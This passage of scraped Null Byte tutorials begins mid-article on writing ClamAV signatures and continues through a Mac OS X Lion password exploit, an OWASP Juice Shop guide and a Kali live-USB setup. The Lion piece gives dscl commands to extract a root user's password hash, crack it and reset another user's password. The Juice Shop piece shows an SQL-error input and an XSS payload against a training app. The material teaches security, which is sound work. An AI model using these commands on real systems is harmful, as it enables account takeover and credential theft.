like:NullByte:0:*:6e756c6c62797465Let's break this one down now:NullByteis the unique name of the signature.0indicates look for the string in ANY file type.* indicates any offset (this is a wildcard meaning any).6e756c6c62797465is the hex representation of the signature.We must then enter that signature into the main.ndb file in ClamAV for it to be used by the AV application. Open main.ndb in any text editor and place the signature into the file and save.Step 4: Test Whether Our Signature WorksClamAV has a utility calledclamscanthat enables us to test a signature file, but before we do that, we must create our malware file. Let's use any text editor to create a malware file with the signaturenullbyte. I have created one below using Leafpad. Note that it includes the signaturenullbyte.I saved this file in/root/clamav-0.98.7/database, but you can save it anywhere, just remember the full path to it.Now, we can test whether our malware signature file will be detected by ClamAV by using clamscan. Clamscan simply takes the-dswitch, for detect, and the signature file followed by the malware file.kali > clamscan -d /root/clamscan-0.98.7/database/main.ndb /root/clamscan-0.98.7/database/nullbyte-malwareAs we see above, ClamAV detected our malware!Step 5: A Touch More Complex SignatureIn Step #3, we used a simple signature of ASCII looking for the wordnullbyte. What if the malware included bothnullandbyte, but not necessarily together?First, we would need to break up our hex representation into two separate pieces, one representingnulland one representingbyte. Since the hex representation is simply a character for character "translation" with each ASCII character represented by two hex characters, we can assume that the first eight hex characters representnulland the second eight characters representbyte. Let's check to make sure and enternullinto our sigtool and see what it spits out.As you can see, when the sigtool converted the ASCIInullto hex, it spit out the first eight characters of our original hex signature with the 0a tacked on the end to represent theenterkey. So, now we know we can create a new signature using both words and look for them in different places in the file.Step 6: Create a Signature Looking for Null & ByteNow, let's create a signature looking for the wordsnullandbyte, but not necessarily together. ClamAV has a number of wild cards we can use. In this case, let's use the wild card??. This wildcard represents any number of bytes between 0 and 255 (0-FF). If we put it betweennullandbyte, it will look for those two words together (0 bytes between) or up to 255 bytes between them (FF bytes between). We can now rewrite our signature as:NullByte:0:*:6e756c6c??62797465Step 7: Using OffsetsOne of the arts of writing good signatures is to make them as efficient as possible. AV software that has to look at every byte of every file would be VERY sloooooow. To make our signature a bit more efficient, rather than having ClamAV look throughout the entire file (0 offset), we can specify where it should look in the file for the signature. This obviously would be far more efficient. Of course, it assumes that we know where the signature is in the file, and usually, we will.Let's assume that we know that the two signature wordsnullandbytenever occur before the 69th byte. Where previous we had used the wildcard * in the offset field, we can be more specific and ONLY look in the 69th byte. We can rewrite our signature as:NullByte:0:69:6e756c6c??62797465Notice that we replaced the wildcard in the Offset field with69.Furthermore, we might know that the signature words never occur after the 99th byte. We can then put in a range of offset values so that ClamAV only looks in the 69th through the 99th bytes by rewriting our signature as:NullByte:0:69,99:6e756c6c??62797465Note that in the offset section of the signature, we have the value of the first byte, 69, followed by the last byte, 99, with a comma separating them.Now that we have learned to write a simple malware signature in ClamAV, we will work toward writing more advanced signatures in this series. Keep coming back, my budding hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 2 (Dissecting ClamAV)Hack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 1Hack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHacking macOS:How to Create an Undetectable PayloadAdvice from a Real Hacker:How to Know if You've Been HackedHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)Hack Like a Pro:How to Evade AV Software with ShellterHow To:Remove the Palladium Pro rogue malware from your computerHow To:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionHow To:The Definitive Guide to Android MalwareBest Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro)How To:Security-Oriented C Tutorial 0xFB - A Simple CrypterNews:New Android Malware Is Emptying People's Bank Accounts—Here's How to Protect YourselfHow To:Android's Built-In Scanner Only Catches 15% of Malicious Apps—Protect Yourself with One of These Better AlternativesHow To:Security-Oriented C Tutorial 0xFF - An Introduction to MalwareHow To:How Hackers Stole Your Credit Card Data in the Cyber Attack on Target StoresHow To:Remove the MS Removal Tool malware from your PCHack Like a Pro:How to Evade AV Detection with Veil-EvasionHow To:Anti-Virus in Kali LinuxHow To:3 Reasons You Still Need a Good Antivirus App on AndroidNews:Malware Targets Mac Users Through Well-Played Phishing AttackHow To:Remove Personal Antivirus from your Windows PCNews:Samsung Preinstalls McAfee Bloatware on Your S8 & It's Neither Great nor FreeHacking Windows 10:How to Break into Somebody's Computer Without a Password (Exploiting the System)Advice from a Real Hacker:How to Protect Yourself from Being HackedHow To:5 Reasons You Should Use Be Using Norton Mobile Security on Your Android DeviceHow To:If You're Seeing Lock Screen 'DU' Malware When Charging, Uninstall These Apps Right NowNews:What to Expect from Null Byte in 2015Hack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 1Lockdown:The InfoSecurity Guide to Securing Your Computer, Part IHow To:Scan for Viruses in Windows Using a Linux Live CD/USBNews:What does Pro Tools HD Native mean for you?Windows Security:Software LevelNews:Half a Million Macs Affected by Flashback Trojan! Eradicate It Before It's Too LateHow To:Mac OS X Hit Again! How to Find and Delete the New SabPub MalwareHow To:Get Rid of Even the Most Extreme Malware and Spyware on Your Grandma's PCNews:2,000 FREE Scrabble Apps (iOS) from EA on Facebook & Twitter — ENDS TODAY!
How to Hack Mac OS X Lion Passwords « Null Byte :: WonderHowTo
This Null Byte is a doozey.On Sunday, September 19th, an exploit for the latest Mac OS X 10.7 "Lion" wasdiscovered by Patrick Dunstan. This exploit allows for an attacker, even remotely, to request to have the root user's password changed without knowing the password to the system beforehand. This would lead to the legitimate owner of the system getting locked out, as well as all of their files being compromised (unless disc encryption was in place). Let's go over why this happens, and how to stop it until a patch comes out.A Byte of InfoThe way a Mac system stores its user passwords is similar to Linux, as they are both built off of the Unix kernel. A user creates an account, and then the encrypted hash of the user's password file, their "Shadow" file, is saved in a .plist file located in /var/db/dslocal/nodes/Default/users. The normal way a user would crack this, is to obtain a users Generated User ID (GID) and find it in the shadow file. This flaw is averted by only allowing the root user to view the shadow file.This still holds true in Lion. However, one major flaw was overlooked. Non-root users cannot directly view hash data, but rather, they canextractit from Directory Services.Step1How to Extract the HashesNormally, to see profile information about a user, you invoke this command in a terminal:$ dscl localhost -read /Local/Default/Users/<root user>To see hash data, we just invoke Directory Services using the /Search/ path like so:$ dscl localhost -read /Search/Users/<root user>Now, in the terminal output you should see a line in there that says:dsAttrTypeNative:ShadowHashData:Look at the bytes below it. Bytes 28-32 are the password salt (4 bytes are in each octet), and bytes 32-96 are the SHA512 hash. From there, the user wanting privilege escalation can then load the hash into a password cracker for SHA512 hashes with 4 byte salts. There is one made by the author of the exploitherewritten in python (brownie points for that, good sir).Step2Copy > pastethe code in a text document and name it "hack.py".Get a password list to run against the file - you can find good ones atPacket Storm.In a terminal, change to the directory "hack.py" is in and issue the command with this syntax:$ python hack.py <username> <path/to/dictionary/file>Wait until it completes and retrieves your password.What if it Can't Crack the Password?That's simple, not only did Mac slip up on being able toreadpassword hashes, any user can issue the "passwd" command to changeanyuser's passwords. Feel safe still, Mac users?Here's an example:$ dscl localhost -passwd /Search/Users/<root user>You will then be prompted to enter a new password for the user. There it is, easier than denying your teenage daughter a brand new car, a user can change your password.How Do I Keep Myself Safe from This?Keep a REALLY long password, that isn't in a dictionary (full ASCII jumbles are preferred).Never leave your computer unattended, and do not enable remote access. This is disabled by default, so don't worry if you're unsure.Hacker artwork byaltemarkWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Upgrade to Mountain Lion from Leopard (OS X 10.5 to 10.8)How To:Hack Your PC into a Mac! How to Install OS X Mountain Lion on Any Intel-Based ComputerHow To:Create a Bootable Install DVD or USB Drive of OS X 10.8 Mountain LionHow To:Hack into a Mac Without the PasswordHow To:Create a Bootable Install USB Drive of Mac OS X 10.9 MavericksHow To:Organize applications in Mac OS X Lion using LaunchpadHow To:Get JumpPad the Windows version of Mac OS X Lion LaunchPadHow To:Reformat Mac OS X Without a Recovery Disc or DriveHow To:Share files between two Macs with Airdrop in OS X LionHow To:Install Mac OS X 10.7 Lion BetaHow To:Use an SD card to install Mac OS X LionHow To:Install Mac OS X Lion on a PCHow To:Change OS X’s Annoying Default Settings Using TerminalHow To:Get a Mac OS X Lion theme in Snow LeopardHow To:Protect Yourself from Someone Trying to Hack into Your MacHow To:View Your Friend's Tweets in the Contacts App on Mac OS X Mountain LionHow To:Disable Password Prompts When Downloading Free Apps in the Mac App StoreHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Install the Command Line Developer Tools Without XcodeHow To:3 Free Alternatives to Apple's iPhotoHow To:Use the Simple Finder user interface in Mac OS XHow To:Use the Mac OS X terminalMac Troubleshooting:How to Find Your Restart, Shutdown & Uptime HistoryHow To:Open Third-Party Apps from Unidentified Developers in macOSHow To:Enable Google Chrome's Secret (And Possibly Dangerous) Experimental FeaturesHow To:Quote emails in full or part with Mac OS X's Mail appHow To:Set custom pronunciations in Mac OS X's VoiceOver toolHow To:Draw Simba ( the Lion King )News:This Hack Turns Your iPad into a Multi-Window Multitasking Powerhouse for $10How To:Organize your Mail in Mac OS XHow To:Get Mac OS X's App Dock on Your Windows PCHow To:The Ultimate Guide to Password-Protecting Files & Folders in Mac OS X YosemiteHow To:USB Tether Your Android Device to Your Mac—Without RootingHow To:Every Mac Is Vulnerable to the Shellshock Bash Exploit: Here's How to Patch OS XMac for Hackers:How to Get Your Mac Ready for HackingHow To:Download OS X 10.11 El Capitan on Your MacNews:Calvin & Hobbes + OS X Desktop WallpaperHow To:Access Hidden Mac OS X Settings in Lion and Mountain Lion Without Using TerminalNews:MAC OS X on PC for REALzZz, My FriendzZz...!Secure Your Computer, Part 1:Password-Protect your BIOS Boot Screen
Beginner's Guide to OWASP Juice Shop, Your Practice Hacking Grounds for the 10 Most Common Web App Vulnerabilities « Null Byte :: WonderHowTo
Web application vulnerabilities are one of the most crucial points of consideration in any penetration test or security evaluation. While some security areas require a home network or computer for testing, creating a test website to learn web app security requires a slightly different approach. For a safe environment to learn aboutweb app hacking, the OWASP Juice Shop can help.The depth and variety of web technologies provide a large and complex attack surface. There are a variety of markup languages forming graphical components of websites, scripting languages handling frontend website interaction, backend languages manipulating data, database management systems managing this data, and server technologies keeping the websites online. Each of these has their own vulnerabilities, and each of these vulnerabilities can be exploited.Don't Miss:How to Use OWASP ZAP to Find Vulnerabilities in Web AppsOWASP Juice Shop is an intentionally vulnerable web application for security training written in JavaScript. It's filled with hacking challenges of all different difficulty levels intended for the user to exploit and is a fantastic way to begin learning about web application security.Referencing the OWASP Top 10TheOWASP Top 10 Projectis a document by theOpen Web Application Security Project. It aims to list and archive the most common flaws present in web applications. As of the2017 version, the list items are as follows.injectionbroken authenticationsensitive data exposureXML external entities (XXE)broken access controlsecurity misconfigurationcross-site scripting (XSS)insecure deserializationusing components with known vulnerabilitiesinsufficient logging and monitoringEach of these vulnerabilities may be present in all sorts of different websites, and they often lead to abuse such as phishing, database exfiltration, spam, malware distribution, and other violations of privacy and security. As a web developer, it is essential to be able to recognize and understand these attacks to prevent them. For a penetration tester, understanding these vulnerability categories can allow one to improve their own web application hacking skills.To begin practicing these attacks, one can start by installing the OWASP Juice Shop, which includes vulnerabilities from all of the OWASP Top 10 categories.Step 1: Install DockerAccording to the project's website,Dockerprovides "a way to run applications securely isolated in a container, packaged with all its dependencies and libraries." This means that for a tool like the OWASP Juice Shop, an entire artificial server-like stack can be easily packaged and distributed.While OWASP Juice Shop provides afew options for installation, including Node.js and Vagrant, I have found that onLinuxandmacOS, the easiest option is Docker.If you run into issues with the Docker installation or your operating system does not support Docker, you may find that Node.js is also a convenient option. The installation instructions for other platforms are also provided by theJuice Shop documentation.Docker supportsWindows, macOS, and Linux, with downloads for packages available on theDocker installation page. Installation instructions vary by platform, but for this example, we will walk through installing docker on a Debian-based system likeUbuntuorKali.Don't Miss:How to Create a Reusable Burner OS with DockerTo begin the installation, first, install the prerequisite packages to allowapt-getto use a repository over HTTPS by running the command below in a terminal emulator.sudo apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-commonNext, add Docker's GPG key, which will allow the integrity of packages to be verified.curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -Now, you can add the Docker repository to your system. If the following command fails, you can also use the text editor of your choice to edit the /etc/apt/sources.list file manually. This file is the repository list on systems which use the APT package manager. Simply add the component of the command below which is enclosed in quotations marks to a new line in this file, replacing "$(lsb_release -cs)" with the output of thelsb_release -cscommand when run on your system. Otherwise, simply running this command alone should be enough to update your repository list.sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"With this repository added, you can install Docker by first updating your repositories, then usingapt-get installto install the tool. This can be done by running the command below.sudo apt-get update && sudo apt-get install docker-ceIf you are using a Systemd-based system, you can now start the Docker service with the command below.sudo systemctl start dockerStep 2: Install the OWASP Juice ShopOnce Docker is installed and running, the first thing we'll use will make a copy of the OWASP Juice Shop files locally. To do this, run the command below.docker pull bkimminich/juice-shopNext, we can start the Juice Shop by running the command below, binding the service to port 3000.docker run --rm -p 3000:3000 bkimminich/juice-shopWhen the Docker command line prints "server listening on port 3000," the service should be ready to use.root@navi ~# systemctl start docker root@navi ~# docker pull bkimminich/juice-shop Using default tag: latest latest: Pulling from bkimminich/juice-shop Digest: sha256: 056aa33f600adb143a1128e2ae42f4021f15d726347155ae4bdd37fba4e0c486 Status: Image is up to date for bkimminich/juice-shop:latest root@navi ~# docker run --rm -p 3000:3000 bkimminich/juice-shop > [email protected] start /juice-shop > node app Server listening on port 3000After this is running, the Juice Shop can be opened in a web browser, just like any other website. On Linux, the shop is located athttp://localhost:3000. On macOS and Windows, it may be located athttp://192.168.99.100:3000.If the page opens in your web browser and renders properly, the Juice Shop is ready to be hacked!Step 3: Analyze the Juice Shop HTMLOne of the simplest ways to begin analyzing a web application is to look at the HTML of a given page. To do so, simply use the "View Page Source" function of your web browser, usually available under the "Developer Tools" section or a similarly named menu.HTML, which stands for HyperText Markup Language, is not a programming language in the traditional sense, but a markup language as the acronym suggests. Unlike a programming language, which defines behaviors as processes and sequences of instructions, the plain HTML code is primarily used to encapsulate other elements of a web page and place them within a page. While HTML5 has expanded passed this relatively limited function and added some capabilities traditionally handled by JavaScript and PHP, it remains widely used for compositing.Because conventional HTML doesn't follow traditional programming processes, the syntax generally wraps around other pieces of the webpage. There are tags to designate text, images, links, menu bars, and other sorts of media content or embedded scripts. This means that, generally, HTML isn't possible to exploit directly due to any sort of vulnerabilities, but it may give us a clue to what the website is doing, visible to the user or otherwise.One example of this sort of insight is shown below. While the HTML code itself doesn't present any attack opportunities, the list of JavaScript files referenced by the page within the "script" tags alerts one to some of the website's behind-the-scenes functions, some of which may prove to be a viable attack surface later.Farther into the code, one may also notice some of the different pages linked by this page. Some of these are shown in the header menu of the page, but others, such as the "score-board" page, are not.Discovery of a link like this can lead to further understanding of the structure of the website, as well as potentially finding data which was intended to be private.Step 4: Use the Score Board SystemIf you follow the link discovered in the previous step, you'll be led to the Juice Shop Score Board page. Not just a static element of the website, this scoreboard will update as different tasks are completed. Indeed, just by discovering the page itself, the first challenge will be solved.The page will alert you to the fact that you've succeeded in solving a challenge, and you may also notice that the alert is also present on the Juice Shop command line log.> [email protected] start /juice-shop > node app Server listening on port 3000 Solved challenge Score Board (Find the carefully hidden 'Score Board' page.)Once you have access to the scoreboard, you can see some of the other objectives for each section. In the right column, you can also hover your mouse cursor over the "unsolved" status indicator for a hint or click the icon to be taken to further documentation of the challenge.This same format will be continuous throughout the process of attacking the Juice Shop. The different challenges are divided by difficulty level, and the scoreboard page provides an ideal guide for completing them in a logical order.Step 5: Use the JavaScript Console to Analyze the SiteAnother way to begin to understand the structure and function of the site is to use your web browser's developer console to see what scripts are being run. The debugger can also notify you of potential errors, some of which may also prove to be security vulnerabilities. As in the case shown below, JavaScript can sometimes also lead us to discover elements which were intended to be private, such as the link to "Administration.html" in the JavaScript file "juice-shop.min.js."If you choose to follow this link to the "Administration" page, you'll already have solved the next challenge!Paying attention to the JavaScript within the Juice Shop will prove helpful as the challenges increase in difficulty, so you may wish to leave your web browser console open.Step 6: Provoke a Website ErrorOne of the objectives on the scoreboard is to provoke an error which is not handled properly. This sort of error is generally the result of poor-handling of non-standard input. While there are more than a few ways to create this sort of error within the Juice Shop, one way to do so is by using the login page.First, click on the "Login" link in the header of the website. Next, log in using the form, but instead of using a regular username, simply insert an apostrophe. You can use whatever you choose for a password. Once the form is populated, click the login button.You'll see that this error is far from human-readable, but it does provide some insight into the backend of the website. After this error is shown, another challenge — "Provoke an error that is not very gracefully handled" — is completed and shown on the scoreboard.Step 7: Use Basic XSSThe last hack we'll attempt on the Juice Shop is a simple reflective XSS attack. Similar to the error caused previously by non-standard inputs, if forms are not being validated, sometimes even code can be injected and run. To test this, we'll use the simple JavaScript string shown below.<script>alert("XSS")</script>This short script will simply open a small alert box with the text "XSS" if it is executed. However, unlike the login page, we're going to look for a different sort of form. Specifically, it may be ideal to look for a form which either is intended to return content to a user or one which submits content to the website directly.One simple form we can test this attack on is the search form. Simply enter the short JavaScript string into the text box and press "Search" to see what happens.Don't Miss:Write an XSS Cookie Stealer in JavaScript to Steal PasswordsIf the script succeeds, you've completed another flag!We've only begun to touch on the flags and challenges included in the Juice Shop, but all of the more difficult challenges follow roughly the same format. The OWASP Juice Shop is an ideal platform to learn web application penetration testing with zero risks of any actual damage. Completing the challenge will take time, but will put you well on the way to being a web application security expert!Thanks for reading! If you have any questions, you can leave a comment below or hit me up on Twitter [email protected]'t Miss:More Null Byte Guides on Hacking Web AppsFollow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by Takhion/Null ByteRelatedHack Like a Pro:How to Hack Web Apps, Part 6 (Using OWASP ZAP to Find Vulnerabilities)How To:Abuse Session Management with OWASP ZAPHack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)Hack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)Hack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Android for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Set Up a Pentesting Lab Using XAMPP to Practice Hacking Common Web ApplicationsAndroid Basics:A Series of Tutorials for BeginnersHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Top 10 Exploit Databases for Finding VulnerabilitiesHow To:Detect Vulnerabilities in a Web Application with UniscanHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:The Art of 0-Day Vulnerabilities, Part 1: STATIC ANALYSISHow To:3 Apps to Help You Learn Chinese from Your PhoneHow To:10 Life Hacks That'll Make Your Life Easier & Stress-FreeHeartbleed Still Lingers:How to Check Your Android Device for VulnerabilitiesGadget Hacks' Pandemic Prep:Apps, Info & Services to Keep You Safe & ProductiveHow To:Discover XSS Security Flaws by Fuzzing with Burp Suite, Wfuzz & XSStrikeHow To:The Ultimate Guide to Hacking macOSHow To:5 Awesome Ingredients You Didn't Know You Could JuiceHow To:Fix Your Hacked and Malware-Infested Website with GoogleHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreNews:An Introduction to Macro Photography (Plus Some Insane Shots)How To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)Community Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingNews:New to HDR?How To:9 Tips for Maximizing Your Laptop's Battery LifeNews:I Created a Web Page You Can Shop at and Watch Me Build Wood SurfboardsNews:Is your Shop Unique Enough to Make Money?How To:Hack websites with SQL injection and WebGoatCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsNews:Bugzilla Cross Site Request ForgeryHow To:Hack Coin-Operated Laudromat Machines for Free Wash & Dry CyclesGoodnight Byte:Coding a Web-Based Password Cracker in Python
How to Install Kali Linux as a Portable Live USB for Pen-Testing & Hacking on Any Computer « Null Byte :: WonderHowTo
Kali Linux is the go-to Linux distribution for penetration testing and ethical hacking. Still, it's not recommended for day-to-day use, such as responding to emails, playing games, or checking Facebook. That's why it's better to run yourKali Linuxsystem from a bootable USB drive.The hacker-friendly Debian-based distro did receive a major update by Offensive Security in late-2019 that changed the default desktop environment from the heavyweight Gnome to a more lightweight Xfce, making Kali more snappy and responsive overall. But we still can't recommend it as your daily driver unless you hack 24 hours a day, 7 days a week.Using Kali in a dual-boot situation is the way to go if you have a dedicated machine, but for something more portable, the live version on a USB flash drive is what you want. If you have a spare computer that you're going to be using for your white-hat endeavors only, then yes, by all means, install Kali as the primary system so that you can take full use of the computer's hardware. We havea guide on that from drd_if you want to do that.More Info:How to Install Kali Linux as Your Primary SystemWhat You'll NeedTo follow along, you'll need a USB flash drive. You could get away with using one as small as 4 GB for the basics or 8 GB if you want persistence, but a larger one may come in handy, especially if you want the ability to save data. When it comes to 4 GB USB sticks, you'll mostly only findUSB 2.0 speedsunless you spend a crazy amount of money on anKingston IronKeyoriStorage datAshur Prowith 256-bit encryption.Centon DataStick Pro 8 GB USB 3.0 (5-PK) - Up to 80 MB/s($24.99)SanDisk Ultra Fit 16 GB USB 3.1 - Up to 130 MB/s($6.32)Samsung FIT Plus 32 GB USB 3.1 - Up to 200 MB/s($9.93)Samsung FIT Plus 64 GB USB 3.1 - Up to 300 MB/s($12.49)Samsung FIT Plus 128 GB USB 3.1 - Up to 400 MB/s($22.99)Samsung FIT Plus 256 GB USB 3.1 - Up to 400 MB/s($41.99)You'll also need the Kali Live ISO file and an imaging program like Etcher or Rufus, which we'll outline below.Step 1: Download the Right Kali Linux VersionWhile there are many different types of Kali Linux images, the one we want for a portable live version is the "Live" download. You can choose between 64-Bit for AMD (for Intel chips), 64-Bit for ARM64 (such as the M1 chips in newer Macs), and 32-Bit for i386 (which you likely won't ever use because it's so outdated).Visitkali.org/downloadsand download the appropriate Live image. We'll be using the 64-Bit for ARM64 since we're using an M1 Mac. No matter which one you choose, note that you will only be able to use the Xfce desktop environment, and you won't be able to specify additional (meta)packages to install.Step 2: Install a USB Formatting ToolOn Linux and macOS computers, you could use theddcommand to copy over the Kali Live image to the USB drive, but you always run the risk of choosing the wrong drive and royally screwing yourself over by overwriting an important drive. Because of that, we recommend using a USB formatting tool. If you're on Windows,Rufusis a good tool, butEtcherworks for Linux, macOS, and Windows, so we're using that.Head tobalena.io/etcherand his the "Download" button, which should detect which system you're on ad give you the right version. If not, hit the drop-down button next to it to choose your OS. Once downloaded, install it like you would any other app. For example, on macOS, open the DMG, drag balenaEtcher over to your Applications folder, then eject the DMG and delete it.Step 3: Flash the Kali Live Image to the Flash DriveOpen Etcher, then click on "Select Image." You may see options for "Flash from file" and "Flash from URL" instead; choose "Flash from file" if you see that.Navigate to the Kali image you downloaded in Step 1, and select it. Then, you need to click on "Select Target" to choose your USB flash drive. Double- and triple-check that you're selecting the right drive by looking at the drive name and space available.Now all that's left to do is click on "Flash!" This will reformat your flash drive so that everything will be erased and overwritten with the Kali Live image.You may be asked to input your admin password to let Etcher do its magic, so go ahead and do that if it happens. Then, Etcher will show a progress bar indicating how much time is left for flashing the content over. You'll see a "Flash Complete" message when it's done.Step 4: Boot from the Kali Live USBNow it's time to boot to your new Kali Live USB flash drive, but the process will vary based on the computer brand, operating system, and processor. In the Cyber Weapons Lab video above, Nick shows what happens when you boot into the Asus UEFI BIOS Utility on a Linux machine and change up the boot order if you want Kali Live to boot without selecting it.On macOS, it's much easier. If you have an Apple M1 chip, just power down your Mac, then turn it on and hold thepowerbutton until you see the startup window. On Intel-based Macs, press theOptionkey immediately after turning on or restarting the computer until you see the startup window. Then, just select the Kali Live flash drive to boot from.To find out how to enter BIOS and change the boot settings, and/or load the startup menu, google "boot from USB drive" for your computer model and OS and find the appropriate instructions. There are just too many to list here where there are plenty of good manuals online with instructions for booting from external disks.Step 5: Choose How You Want to Boot KaliOnce you've booted into the Kali Live USB flash drive, you should see a few different options for which version of Kali you want to load. They may include:Live system:This will boot up Kali Live. In this mode, you cannot save any changes. No reports, no logs, no other data — none of these changes are saved. This way, you start with a fresh Kali Live every time you boot it up. Data is only saved to RAM, not the drive.Live system (fail-safe mode):Same as the live system, but a more robust version in case the system fails. That way, the failed system won't ruin your flash drive. This is a good option if you need to troubleshoot a problematic computer.Live system (forensic mode):Same as the live system with forensic-friendly tools so that you can recover files, gather evidence, and perform other forensic tasks on a host machine. However, the internal hard drive is never touched, and external devices and media will not auto-mount so that you have complete control over what you can connect to.Live system (persistence):Same as the live system, only changes will be saved, and it will allow you to inspect the host system without worrying about running or locked processes.Live system (encrypted persistence):Same as the live system (persistence), only encrypted with LUKS, so it's harder for others to access your data.Start installer:This lets you start the installer to install Kali on an internal drive.Start installer with speech synthesis:Same as start installer, only with speech instructions to help navigate.Advanced options:Includes options such as MemTest, Hardware Detection, etc.To boot it up without saving any changes, just choose the "Live system" option, which will take you right into the new Xfce desktop environment as a non-root user. However, if you want to save your changes, boot using "Live system (persistence)" or "Live system (encrypted persistence)" instead.Step 6: Set Up Persistence on Kali LiveChoosing one of the persistence options doesn't mean it'll work out of the box. There is some configuration to perform first, mainly creating a new partition to save all your data. Kali has someexcellent instructionson doing so, which we are using.To create a partition above the Kali Live partitions, ending at 7 GB, issue the following three commands in a terminal window as the kali user, which will keep the Live options in the 7 GB partition, freeing up the rest for your data storage. Make sure you're doing this from your Kali Live system you just booted into.~$ end=7GiB ~$ read start _ < <(du -bcm kali-linux-2021.1-live-arm64.iso | tail -1); echo $start ~$ parted /dev/sdb mkpart primary ${start}MiB $endWhen that's done, you should now have a third partition labeled something like /dev/sdb3 or /dev/disk1s3. Check your volume identifier because you'll need it for the rest of this process.If you want to add some encryption in case you think someone might get a hold of your drive, issue the following two commands as kali. Type "YES" in all caps if prompted to proceed with overwriting the new partition. When asked for a passphrase, choose one and enter it twice. You can skip encryption if you don't want it.~$ cryptsetup --verbose --verify-passphrase luksFormat /dev/sdb3 ~$ cryptsetup luksOpen /dev/sdb3 my_usbNext, run the following two commands as kali to create an ext3 file system labeled "persistence." If you chose to skip encryption, use these:~$ mkfs.ext3 -L persistence /dev/sdb3 ~$ e2label /dev/sdb3 persistenceIf you encrypted the partition, use:~$ mkfs.ext3 -L persistence /dev/mapper/my_usb ~$ e2label /dev/mapper/my_usb persistenceNext, create a mount point, mount the new partition there, create a configuration file to enable persistence, then unmount the partition. If you didn't encrypt the partition, use:~$ mkdir -p /mnt/my_usb ~$ mount /dev/sdb3 /mnt/my_usb ~$ echo "/ union" > /mnt/my_usb/persistence.conf ~$ umount /dev/sdb3If you encrypted the partition, use:~$ mkdir -p /mnt/my_usb/ ~$ mount /dev/mapper/my_usb /mnt/my_usb ~$ echo "/ union" > /mnt/my_usb/persistence.conf ~$ umount /dev/mapper/my_usbIf you didn't encrypt the partition, you're done. If you did, you have one more command to issue as kali, which will close the encrypted channel for the new partition:~$ cryptsetup luksClose /dev/mapper/my_usbNow, reboot into Kali Live and choose the appropriate system, and everything should be all set.Step 7: Add a Password for the Root UserOn new versions of Kali, you're a non-root user by default, but you can issue root commands as a regular user by using:~$ sudo suIf you're asked for a password, usekali. However, Kali Live might not attach a password to the root user, so you'll have to create one if you don't want other people to get in and mess with your system. If it does have one, you can change it to something better. Usepasswd rootwith root privileges to do that. Enter your chosen password, then verify it.~# passwd root New password: Retype new password: passwd: password updated successfullyExplore Your New Kali Live SystemNow all that's left to do is use Kali. You can check out the Cyber Weapons Lab video above for ideas on what you could configure, as well as our guide oninstalling Kali as your primary system, which goes over a lot of tools and settings to install and tweak.Don't Miss:Top 10 Things to Do After Installing Kali LinuxWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo 